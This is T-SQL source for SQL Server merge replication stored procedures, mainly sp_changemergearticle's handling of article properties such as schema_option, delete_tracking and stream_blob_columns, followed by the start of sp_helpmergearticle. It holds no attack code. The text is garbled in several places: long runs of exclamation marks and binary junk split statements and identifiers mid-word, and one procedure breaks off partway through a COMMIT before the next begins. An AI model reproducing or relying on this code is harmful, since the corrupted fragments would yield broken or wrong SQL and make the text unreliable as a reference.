        exec @retcode = sys.sp_MSBumpupCompLevel @pubid, 40
        if @@ERROR<>0 or @retcode<>0
            goto FAILURE
    end
    
    exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
    COMMIT TRAN 

    return (0)

FAILURE:
    RAISERROR (20009, 16, -1, @article, @publication)
    if @@TRANCOUNT > 0
    begin
        if @got_merge_admin_applock=1
            exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
        ROLLBACK TRANSACTION sp_addmergearticle
        COMMIT TRANSACTION
    end
    return (1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
>1Sv|ylect @statusid = 2
        else if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'new_inactive'
            select @statusid = 5
        else if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'new_active'
            select @statusid = 6

        /*
        ** Update the article with the new type. The same base table might be 
        ** in multiple publications - so qualify  with pubid.
        */
        UPDATE dbo.sysmergearticles
            SET status = @statusid
            WHERE artid = @artid and pubid = @pubid

        if @@ERROR <> 0 
            goto UNDO

    END

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'destination_owner'
    BEGIN
        IF @value IS NULL or @value=''
            select @value = 'dbo'                       
        UPDATE dbo.sysmergearticles SET destination_owner = @value
            WHERE artid = @artid
            AND pubid = @pubid
        if @@ERROR <> 0
        BEGIN
            goto UNDO
        END
    END
    
    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'schema_option'
    BEGIN
    
        IF @value IS NULL
        BEGIN
            RAISERROR(14146, 16,1)
            goto UNDO
        END

        CREATE TABLE #tab_changearticle (value varbinary(8) NULL)
                             
        IF @@ERROR <> 0 
        BEGIN
            goto UNDO
        END

		IF (SELECT sys.fn_isvalidhexstr(@value)) <> 1
		BEGIN
			RAISERROR(20014, 16, -1)
			RETURN (1)
		END
        
        declare @cmd nvarchar(200)
        select @cmd = 'insert into #tab_changearticle (value) values (@value)'
        --exec @retcode= dbo.sp_executesql @cmd, N'@value nvarchar(2000)', @value = @value
        EXEC ('insert #tab_changearticle values (' + @value +')' )

        IF @@ERROR <> 0 or @retcode <> 0
        BEGIN
            goto UNDO
        END
                  
        SELECT @schema_option = fn_replprepadbinary8(value) 
          FROM #tab_changearticle

        DECLARE @schema_option_lodword INT
        DECLARE @schema_option_hidword INT
        DECLARE @old_schema_option_lodword INT
        DECLARE @old_schema_option_hiword INT
        DECLARE @xprop_schema_option INT
        DECLARE @collation_schema_option INT
        SELECT @xprop_schema_option = 0x00002000
        SELECT @collation_schema_option = 0x00001000
        SELECT @schema_option_lodword = sys.fn_replgetbinary8lodword(@schema_option)
        SELECT @schema_option_hidword = sys.fn_replgetbinary8hidword(@schema_option)
        SELECT @old_schema_option_lodword = CONVERT(INT, SUBSTRING(@old_schema_option, 5, 4))
        SELECT @old_schema_option_hiword = CONVERT(INT, SUBSTRING(@old_schema_option, 1, 4))
        

        /*
           Verify that the schema option being set is compatible with
           publication compatibility level.
        */

        -- Since only the lower 32 bits of @schema_option are 
        -- used, the following check is sufficient. Note that @schema_option is
        -- already padded out to the left at the beginning of this procedure.
        declare @schema_option_xml_to_ntext int
        declare @schema_option_max_to_nonmax int
        declare @schema_option_create_schema int
        declare @schema_option_xml_indexes int
        declare @schema_option_filestream int
        declare @schema_option_katmaidatetime_to_string int
        declare @schema_option_hierarchyid_to_varbinarymax int
        declare @schema_option_largeUDT_to_varbinarymax int
        declare @schema_option_spatial_indexes int
        declare @schema_option_spatial_to_varbinarymax int
        declare @schema_option_udt_to_base_types int
        declare @schema_option_filtered_indexes int
        declare @schema_option_compression int
	 declare @schema_option_filestream_attribute         int
        declare @schema_option_str sysname       

        select @schema_option_xml_to_ntext  = 0x10000000 -- this has to be on  for < 90RTM
        select @schema_option_max_to_nonmax = 0x20000000 -- this has to be on  for < 90RTM
        select @schema_option_create_schema = 0x08000000 -- this has to be off for < 90RTM
        select @schema_option_xml_indexes   = 0x04000000 -- this has to be off for < 90RTM
        select @schema_option_filestream = 0x00000001  -- this has to be OFF  for < 100RTM
        select @schema_option_katmaidatetime_to_string = 0x00000002
        select @schema_option_hierarchyid_to_varbinarymax = 0x00000020 -- this has to be on for < 100RTM    
        select @schema_option_largeUDT_to_varbinarymax = 0x00000010 -- this has to be on for < 100RTM    
        select @schema_option_spatial_indexes = 0x00000100 -- this has to be off for < 100RTM
        select @schema_option_spatial_to_varbinarymax = 0x00000080 -- this has to be on for < 100RTM
        select @schema_option_udt_to_base_types = 0x00000020
	 select @schema_option_filestream_attribute = 0x00000001          
        select @schema_option_filtered_indexes = 0x00000040 -- this has to be on for < 100RTM    
        select @schema_option_compression   = 0x00000004 -- this has to be off for < 100RTM    

        declare @schema_option_has_changed bit;
        select @schema_option_has_changed = 0;

        declare @columns binary(128)     
        declare @colid        int
        declare @prevcolid        int
        declare @filestream_col_published int
        declare @has_filestream int
        declare @in_partition bit
        select @filestream_col_published = 0
        select @has_filestream = 0

        -- check if the article has filestream column and whether it is publised
        select @columns = columns from dbo.sysmergearticles WHERE name = @article AND pubid = @pubid

        select TOP 1 @colid = column_id from sys.columns where object_id = @objid and is_filestream = 1 order by column_id ASC
	
        while @colid is not null
        begin
            exec @in_partition = sys.sp_MStestbit @bm=@columns, @coltotest=@colid
            if ( @in_partition = 1 )
            begin
                select @filestream_col_published=1	        
                break
            end
            select @prevcolid = @colid
            select top 1 @colid=column_id from sys.columns where object_id = @objid and is_filestream=1 and column_id > @prevcolid order by column_id ASC
	    end

        -- varbinary(max) column with filestream attribute cannot be converted to base type (image)
        -- irrespective of whether filestream is repl. as filestream or varbinary(max)
        if ( @filestream_col_published = 1 and (@schema_option_lodword & @schema_option_max_to_nonmax = @schema_option_max_to_nonmax))
        begin
            RAISERROR(22583, 16, -1, @article, @publication)
            goto UNDO    
        end

        /*
        ** If compatlevel is less than 100RTM then make sure the schema option to map down
        ** 100 datatypes to equivalent downlevel datatypes is set. 
        ** * Map large UDT down to varbinary(max)
        ** * If spatial_indexes are set for replication, disable if compatlevel < 100
        ** * Map spatial types to varbinary(max)
        ** * Make sure the schema option to map down 100 datetime types to downlevel data types.
        ** * If filtered_indexes are set for replication, disable for subscribers under 100
        ** * Map new datetime types to string for subscribers under 100
        ** * Disable compression if it is enabled
        ** * Map hierarchyid to varbinary(max)
        */
        if (@compatlevel < 100 and 
           ((@schema_option_hidword & @schema_option_largeUDT_to_varbinarymax = 0) or
           (@schema_option_hidword & @schema_option_compression <> 0) or
           (@schema_option_hidword & @schema_option_hierarchyid_to_varbinarymax = 0) or
           (@schema_option_hidword & @schema_option_spatial_to_varbinarymax = 0) or
           (@schema_option_h!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
>$mv|yidword & @schema_option_spatial_indexes <> 0) or
           (@schema_option_hidword & @schema_option_filtered_indexes <> 0) or
           (@schema_option_hidword & @schema_option_katmaidatetime_to_string = 0)))
        begin
            select @schema_option_hidword = @schema_option_hidword | @schema_option_largeUDT_to_varbinarymax
            select @schema_option_hidword = @schema_option_hidword & ~(@schema_option_compression)
            select @schema_option_hidword = @schema_option_hidword | @schema_option_hierarchyid_to_varbinarymax
            select @schema_option_hidword = @schema_option_hidword | @schema_option_spatial_to_varbinarymax
            select @schema_option_hidword = @schema_option_hidword & ~(@schema_option_spatial_indexes)            
            select @schema_option_hidword = @schema_option_hidword & ~(@schema_option_filtered_indexes)
            select @schema_option_hidword = @schema_option_hidword | @schema_option_katmaidatetime_to_string

            select @schema_option = sys.fn_replcombinehilodwordintobinary8(@schema_option_hidword, @schema_option_lodword)
            select @schema_option_str = sys.fn_varbintohexstr(@schema_option)
            select @schema_option_has_changed = 1;
        end
		
	    /*
	    ** For hierarchy we will map it to varbinarymax for 100 RTM compatibility level in character sync mode (for SSCE subscriber).
	    ** Turn off DataCompression for SSCE subscriber
	    */
	    if(@compatlevel = 100 and
		 @sync_mode = 1 and
		((@schema_option_hidword & @schema_option_hierarchyid_to_varbinarymax = 0) or
		  (@schema_option_hidword & @schema_option_compression <> 0)))
	    begin
	    	select @schema_option_hidword = @schema_option_hidword | @schema_option_hierarchyid_to_varbinarymax
              select @schema_option_hidword = @schema_option_hidword & ~(@schema_option_compression)	    	
	        select @schema_option = sys.fn_replcombinehilodwordintobinary8(@schema_option_hidword, @schema_option_lodword)
	        select @schema_option_str = sys.fn_varbintohexstr(@schema_option)
	        select @schema_option_has_changed = 1;    	      
	    end  

        /*
        ** If a spatial type is being mapped to non spatial type on the subscriber,
        ** ensure that the spatial index schema option is disabled.
        */
        if (@schema_option_hidword & @schema_option_spatial_indexes <> 0 and
           ((@schema_option_hidword & @schema_option_spatial_to_varbinarymax <> 0) or
           (@schema_option_lodword & @schema_option_udt_to_base_types <> 0)))
        begin
            select @schema_option_hidword = @schema_option_hidword & ~(@schema_option_spatial_indexes)
            select @schema_option = sys.fn_replcombinehilodwordintobinary8(@schema_option_hidword, @schema_option_lodword)
            select @schema_option_str = sys.fn_varbintohexstr(@schema_option)
            select @schema_option_has_changed = 1;

        end    

        --if turn changing the large UDT from not mapping to mapping to varbinary(max), we need
        --to mark the corresponding rows as inactive in sysmergeschemachange
        if( (@schema_option_hidword & @schema_option_largeUDT_to_varbinarymax <> 0)
        and (@old_schema_option_hiword & @schema_option_largeUDT_to_varbinarymax = 0))
        begin
            -- need to de-activate the row in schemachanges for the spatial type
            --	SCHEMA_TYPE_CLR_USER_DEFINED_DATA_TYPE 	   = 89,
            --	SCHEMA_TYPE_ASSEMBLY        			                = 90,
            update dbo.sysmergeschemachange set schemastatus = 0 where pubid = @pubid AND schematype in (89, 90)
            if @@ERROR <> 0 return 1                                
        end
        

        -- if compat level is Yukon and turn OFF the schema_option to replicate filestream attribute, if ON
        if ( @filestream_col_published = 1 and @compatlevel >= 90 and @compatlevel < 100 and  
        (@schema_option_hidword & @schema_option_filestream = @schema_option_filestream ))
        begin
            declare @schema_option_strg sysname
            select @schema_option_lodword = sys.fn_replgetbinary8lodword(@schema_option)
            select @schema_option_hidword = @schema_option_hidword & ~( @schema_option_filestream)
            select @schema_option = sys.fn_replcombinehilodwordintobinary8(@schema_option_hidword, @schema_option_lodword)
            select @schema_option_strg = sys.fn_varbintohexstr(@schema_option)
            RAISERROR (22584, 10, -1, @schema_option_strg)
        end

        /*
        ** If compatlevel is less than 90RTM then make sure the schema option to map down
        ** 90 datatypes to equivalent downlevel datatypes is set.
        */
        if (@compatlevel < 90 and 
            (((@schema_option_lodword & (@schema_option_xml_to_ntext | @schema_option_max_to_nonmax)) <> 
            (@schema_option_xml_to_ntext | @schema_option_max_to_nonmax)) or
            ((@schema_option_lodword & (@schema_option_create_schema | @schema_option_xml_indexes)) <> 0)))
        begin
            select @schema_option_lodword = @schema_option_lodword | @schema_option_xml_to_ntext | @schema_option_max_to_nonmax
            select @schema_option_lodword = @schema_option_lodword & ~(@schema_option_create_schema | @schema_option_xml_indexes)
            select @schema_option = sys.fn_replcombinehilodwordintobinary8(@schema_option_hidword, @schema_option_lodword)
            select @schema_option_str = sys.fn_varbintohexstr(@schema_option)
            select @schema_option_has_changed = 1;
        end            

        /*
        ** If we changed what the user originally input, output a message telling them what
        ** the new schema_option value is.
        */
        if @schema_option_has_changed = 1
        begin
            RAISERROR (20732, 10, -1, @schema_option_str)
        end


        -- Raise warnings only when we are enabling the Shiloh specific
        -- options
        IF ((@old_schema_option_lodword & @collation_schema_option) = 0)
            AND 
           ((@schema_option_lodword & @collation_schema_option) <> 0)
           and
           @compatlevel < 40
        BEGIN
            RAISERROR(21389, 10, -1, @publication)
            SELECT @bump_to_80 = 1
        END
        
        IF((@old_schema_option_lodword & @xprop_schema_option) = 0)
          AND 
          ((@schema_option_lodword & @xprop_schema_option) <> 0)
          and
           @compatlevel < 40
        BEGIN
            RAISERROR(21390, 10, -1, @publication)
            SELECT @bump_to_80 = 1
        END
            
        /*
            Read the current value to log to the MSmerge_settingshistory table.
        */
        declare @prev_schema_option binary(8)
        declare @prev_schema_option_str sysname
        declare @new_schema_option_str sysname
        
        select @prev_schema_option = schema_option
            from dbo.sysmergearticles 
            WHERE artid = @artid
            AND pubid = @pubid

        select @prev_schema_option_str = sys.fn_varbintohexstr (@prev_schema_option)
        select @new_schema_option_str = sys.fn_varbintohexstr (@schema_option)

	 declare @prev_schema_option_hidword int
	 SELECT @prev_schema_option_hidword = sys.fn_replgetbinary8hidword(@prev_schema_option)
        SELECT @schema_option_hidword = sys.fn_replgetbinary8hidword(@schema_option)

	-- if schema_option has been changed to include 'filestream' attribute, raise a warning
        if ( (@schema_option_hidword & @schema_option_filestream = @schema_option_filestream)
        and (@prev_schema_option_hidword & @schema_option_filestream <> @schema_option_filestream) )
		RAISERROR (22585, 10, -1, @article)    


        UPDATE dbo.sysmergearticles 
           SET schema_option = @schema_option 
            WHERE artid = @artid
            AND pubid = @pubid
        if @@ERROR <> 0!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
>qWv|y
            BEGIN
            DROP TABLE #tab_changearticle 
            goto UNDO
            END
            
        /*
            Log the change in settings to the MSmerge_settingshistory table.
        */
        if @prev_schema_option_str <> @new_schema_option_str
        begin
            select @eventtype       = 102   -- Change in article settings.
            
            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
                values (default,@pubid,@artid,@eventtype,@property,@prev_schema_option_str,@new_schema_option_str, NULL)

        end
        DROP TABLE #tab_changearticle 
                             
        IF @@ERROR <> 0 
            BEGIN
                goto UNDO
            END

    END

    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'verify_resolver_signature'
        BEGIN
            if @value NOT IN ('1', '0')
                BEGIN
                    raiserror(21344, 16, -1, '"verify_resolver_signature"')
                    goto UNDO
                END

            update dbo.sysmergearticles set verify_resolver_signature = convert(int, @value) 
            where artid = @artid and pubid = @pubid
            if @@ERROR<>0
                goto UNDO
        END

    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'processing_order'
    BEGIN

        declare @processing_order int
        select @processing_order = convert(int, @value) 

        --if @compatlevel < 90 and @processing_order <> 0
        --begin
        --    raiserror(21585, 16, -1, @publication)
        --    goto UNDO
        --end
        
        update dbo.sysmergearticles set processing_order = @processing_order
        where artid = @artid and pubid = @pubid
        if @@ERROR<>0
            goto UNDO
            
        if @snapshot_ready > 0
        begin
            select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
            if @schemaversion is NULL
                set @schemaversion = 1
            set @schemaguid = newid()
            
            set @schematype = @SCHEMA_TYPE_ARTICLEPROCESSINGORDER
			select @schematext = 'exec dbo.sp_MSchange_mergearticle @pubid = ''' + convert(nchar(36), @pubid) + ''', @artid = ''' + convert(nchar(36), @artid) + ''', @property = ''processing_order'',@value=' +sys.fn_replquotename(@value,'''')
                                     
            exec @retcode = sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
            if @@ERROR <> 0 OR @retcode <> 0
                goto UNDO
                
            select @upsert_regenerate_triggersprocs_schemachange = 1
        end
    END

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'allow_interactive_resolver'
    BEGIN

        /* Check to make sure that we have a true/false. */

        IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
            BEGIN
                RAISERROR (14148, 16, -1, 'allow_interactive_resolver')
                goto UNDO
            END

        /* Determine the bit value. */

        IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
            SET @allow_interactive_bit = 1
        ELSE
            SET @allow_interactive_bit = 0

        /* Update the subscription with the new 'allow_interactive_resolver' value. */
        update dbo.sysmergearticles set allow_interactive_resolver = @allow_interactive_bit
            where artid = @artid and pubid = @pubid
        IF @@ERROR <> 0
            BEGIN
                RAISERROR (14053, 16, -1)
                goto UNDO
            END

    END
    
    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'published_in_tran_pub'
    BEGIN

        /* Check to make sure that we have a true/false. */

        IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
            BEGIN
                RAISERROR (14148, 16, -1, 'published_in_tran_pub')
                goto UNDO
            END

        /* Determine the bit value. */

        IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
        BEGIN
            SET @published_in_tran_pub_bit = 1
        END
        ELSE
            SET @published_in_tran_pub_bit = 0

        /* Update the subscription with the new 'published_in_tran_pub' value. */
        update dbo.sysmergearticles set published_in_tran_pub = @published_in_tran_pub_bit
            where artid = @artid and pubid = @pubid
        IF @@ERROR <> 0
            BEGIN
                RAISERROR (14053, 16, -1)
                goto UNDO
            END
            
        if @snapshot_ready > 0
        begin
            select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
            if @schemaversion is NULL
                set @schemaversion = 1
            set @schemaguid = newid()
            
            set @schematype = @SCHEMA_TYPE_PUBLISHED_IN_TRANPUB
            select @schematext = 'exec dbo.sp_MSchange_mergearticle @pubid = ''' + convert(nchar(36), @pubid) + ''', @artid = ''' + convert(nchar(36), @artid) + ''', @property = ''published_in_tran_pub'', @value=' + sys.fn_replquotename(@value,'''')
                                     
            exec @retcode = sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
            if @@ERROR <> 0 OR @retcode <> 0
                goto UNDO
            
            select @upsert_regenerate_triggersprocs_schemachange = 1
        end
    END
        
    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'delete_tracking'
    BEGIN

        /* Check to make sure that we have a true/false. */

        IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14148, 16, -1, 'delete_tracking')
            goto UNDO
        END

        /* Determine the bit value. */

        IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
            SET @delete_tracking = 1
        ELSE
            SET @delete_tracking = 0

        /* Get previous value to put in MSmerge_settingshistory table */
        /* All articles should have the same value so just pick one */
        select top 1 @previousbitvalue = delete_tracking from dbo.sysmergearticles
            where artid = @artid
            
        /* Update the subscription with the new 'delete_tracking' value. */
        /* Changing for one article changes for articles in all publications */
        update dbo.sysmergearticles set delete_tracking = @delete_tracking
            where artid = @artid
        IF @@ERROR <> 0
        BEGIN
            RAISERROR (14053, 16, -1)
            goto UNDO
        END
            
        /*  Insert event in the MSmerge_settingshistory table if the
            new value is different from the old value
            Look in replsys.sql where the table is created for more
            details about what is in this table. */
        if (@previousbitvalue <> @delete_tracking)
        begin
            select @eventtype       = 102
            
            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
                values (default,@pubid,@artid,@eventtype,@property,@previousbitvalue,@delete_tracking,NULL)
        end


        /*
        ** Insert the schema change for all the publications that the article is in.
        */
        
        declare one_pub CURSOR LOCAL FAST_FORWARD FOR 
            select DISTINCT pubid from dbo.sysmergearticles where artid=@artid
        FOR READ ONLY
        open one_pub
        fetch next from one_pub into @pubid
         
        while (@@fetch_status <> -!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
>v|y1)
        begin
            select @snapshot_ready=snapshot_ready from dbo.sysmergepublications 
                where pubid = @pubid

            if @snapshot_ready > 0
            begin
                -- We insert a schemachange,
                -- so that we can tell SSCE subscriber that the property has changed.
                select @schemaversion = schemaversion from dbo.sysmergeschemachange
                if (@schemaversion is NULL)
                    set @schemaversion = 1
                else
                    select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
                    
                set @schemaguid = newid()
                set @artid = @artid
                set @schematype= @SCHEMA_TYPE_DELETETRACKING
                select @schematext = 'update dbo.sysmergearticles set delete_tracking=' + cast(@delete_tracking as nchar(1)) + ' where pubid=''' + cast(@pubid as nchar(36)) + ''''      
                exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
                if @@ERROR<>0 or @retcode<>0 
                begin
                    close one_pub
                    deallocate one_pub                    
                    goto UNDO      
                end


                /* Regenerate triggers */
                -- Run this on the publisher
                exec @retcode = dbo.sp_MSregenerate_mergetriggersprocs @pubid = @pubid
                if @@ERROR <> 0 OR @retcode <> 0
                begin
                    close one_pub
                    deallocate one_pub                    
                    goto UNDO      
                end
                
                -- Now post it as a schema change for the subscriber to run it as well.
                select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
                if @schemaversion is NULL
                    set @schemaversion = 1
                set @schemaguid = newid()
                select @schematext = 'exec dbo.sp_MSregenerate_mergetriggersprocs @pubid = ''' + convert(nchar(36), @pubid) + ''''
                exec @retcode = sys.sp_MSupsertschemachange @pubid=@pubid, @artid=NULL, @schemaversion=@schemaversion, 
                                                            @schemaguid=@schemaguid, @schematype=@schematype, @schematext=@schematext
                if @@ERROR <> 0 OR @retcode <> 0
                begin
                    close one_pub
                    deallocate one_pub                    
                    goto UNDO      
                end


            end

            fetch next from one_pub into @pubid
        end -- end of while
        close one_pub
        deallocate one_pub
        
    END
        
    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'stream_blob_columns'
    BEGIN

        /* Check to make sure that we have a true/false. */

        IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14148, 16, -1, 'stream_blob_columns')
            goto UNDO
        END

        /* Determine the bit value. */

        IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
            SET @stream_blob_columns_bit = 1
        ELSE
            SET @stream_blob_columns_bit = 0

        /* Get previous value to put in MSmerge_settingshistory table */
        /* All articles should have the same value so just pick one */
        select top 1 @previousbitvalue = stream_blob_columns from dbo.sysmergearticles
            where artid = @artid
            
        /* Update the subscription with the new 'stream_blob_columns' value. */
        /* Changing for one article changes for articles in all publications */
        update dbo.sysmergearticles set stream_blob_columns = @stream_blob_columns_bit
            where artid = @artid
        IF @@ERROR <> 0
        BEGIN
            RAISERROR (14053, 16, -1)
            goto UNDO
        END
            
        /*  Insert event in the MSmerge_settingshistory table if the
            new value is different from the old value
            Look in replsys.sql where the table is created for more
            details about what is in this table. */
        if (@previousbitvalue <> @stream_blob_columns_bit)
        begin
            select @eventtype       = 102
            
            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
                values (default,@pubid,@artid,@eventtype,@property,@previousbitvalue,@stream_blob_columns_bit,NULL)
        end

        /*
        ** Insert the schema change for all the publications that the article is in.
        */
        
        declare one_pub CURSOR LOCAL FAST_FORWARD FOR 
            select DISTINCT pubid from dbo.sysmergearticles where artid=@artid
        FOR READ ONLY
        open one_pub
        fetch next from one_pub into @pubid
         
        while (@@fetch_status <> -1)
        begin

            -- We insert a schemachange,
            -- so that we can tell SSCE subscriber that the property has changed.
            select @schemaversion = schemaversion from dbo.sysmergeschemachange
            if (@schemaversion is NULL)
                set @schemaversion = 1
            else
                select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
                
            set @schemaguid = newid()
            set @artid = @artid
            set @schematype= @SCHEMA_TYPE_CHANGE_MERGE_ARTICLE_90RTM
            select @schematext = 'exec dbo.sp_MSchange_mergearticle @pubid = ''' + convert(nchar(36), @pubid) + ''', @artid = ''' + convert(nchar(36), @artid) + ''', @property = ''stream_blob_columns'', @value_numeric = ''' + cast(@stream_blob_columns_bit as nchar(1)) + ''''
            exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
            if @@ERROR<>0 or @retcode<>0
            begin
                close one_pub
                deallocate one_pub                    
                goto UNDO      
            end

            fetch next from one_pub into @pubid
        end -- end of while
        close one_pub
        deallocate one_pub

    END
    
    if @upsert_regenerate_triggersprocs_schemachange = 1
    begin
        -- Run this on the publisher
        exec @retcode = dbo.sp_MSregenerate_mergetriggersprocs @pubid = @pubid
        if @@ERROR <> 0 OR @retcode <> 0
            goto UNDO
        
        -- Now post it as a schema change for the subscriber to run it as well.
        select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
        if @schemaversion is NULL
            set @schemaversion = 1
        set @schemaguid = newid()
        select @schematext = 'exec dbo.sp_MSregenerate_mergetriggersprocs @pubid = ''' + convert(nchar(36), @pubid) + ''''
        exec @retcode = sys.sp_MSupsertschemachange @pubid=@pubid, @artid=NULL, @schemaversion=@schemaversion, 
                                                    @schemaguid=@schemaguid, @schematype=@schematype, @schematext=@schematext
        if @@ERROR <> 0 OR @retcode <> 0
            goto UNDO
    end
        
    IF @bump_to_80=1
    BEGIN
        EXEC @retcode = sys.sp_MSBumpupCompLevel @pubid, 40
        IF @@ERROR<>0 or @retcode<>0
            GOTO UNDO
    END
COMMIT_LABEL:    
    /*
    ** Return succeed.
    */
    exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
    COMMIT TRAN
    RETURN (0)
UNDO:
    if @@TRANCOUNT > 0
    begin
        if @got_merge_admin_applock=1
            exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
        ROLLBACK TRANSACTION changemergearticle
        COMMIT !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
Z?\-vtncreate procedure sys.sp_helpmergearticle (
    @publication sysname = '%',      /* The publication name */
    @article sysname = '%'          /* The article name */
    ) AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    declare @retcode            int
    declare @max_nickname        int
    /*
    ** Create a temporary table to hold all information.
    */
    declare @helpmergearticle TABLE
        (
            id                      int                identity NOT NULL,
            name                    sysname            collate database_default not null,
            source_owner            sysname            collate database_default not null,
            source_object           sysname            collate database_default not null,        /* converted from objid */
            sync_object_owner       sysname            collate database_default null,
            sync_object             sysname            collate database_default null,        /* converted from sync_objid */
            description             nvarchar(255)      collate database_default null,
            status                    tinyint            NULL,
            creation_script            nvarchar(255)    collate database_default null,
            conflict_table            nvarchar(270)    collate database_default null,
            article_resolver        nvarchar(255)    collate database_default null,
            subset_filterclause        nvarchar(1000)    collate database_default null,
            pre_creation_command    tinyint            NULL, 
            schema_option            binary(8)        NULL,
            type                    smallint        NULL,
            column_tracking            int                NULL,
            resolver_info            nvarchar(517)    collate database_default null,
            vertical_partition        bit                NULL,
            destination_owner        sysname            collate database_default null,
            identity_support        int                NULL,
            pub_identity_range        bigint            NULL,
            identity_range            bigint            NULL,
            threshold                int                NULL,
            verify_resolver_signature int            NULL default 1,
            destination_object        sysname            collate database_default not null,
            allow_interactive_resolver    int            NULL,
            fast_multicol_updateproc    int            NULL,
            check_permissions        int                NULL,
            processing_order        int                NOT NULL default 0,
            upload_options            tinyint            NOT NULL default 0,
            identityrangemangementoption    int     not NULL default 0,
            delete_tracking        bit                default 1,
            compensate_for_errors    bit                not null default 0,
            partition_options        tinyint not null default 0,
            artid                    uniqueidentifier    NULL,
            pubid                    uniqueidentifier    NULL,
            stream_blob_columns        bit                NOT NULL default 0
        )   

        
    /*
    ** Running sp_help is OK from everywhere, whether enabled for publishing or not
    */
    IF object_id('sysmergesubscriptions') is NULL
        RETURN (0)

    /*
    ** Parameter Check:  @publication.
    ** Check to make sure that the publication exists, that it conforms
    ** to the rules for identifiers, and that it isn't NULL.
    */

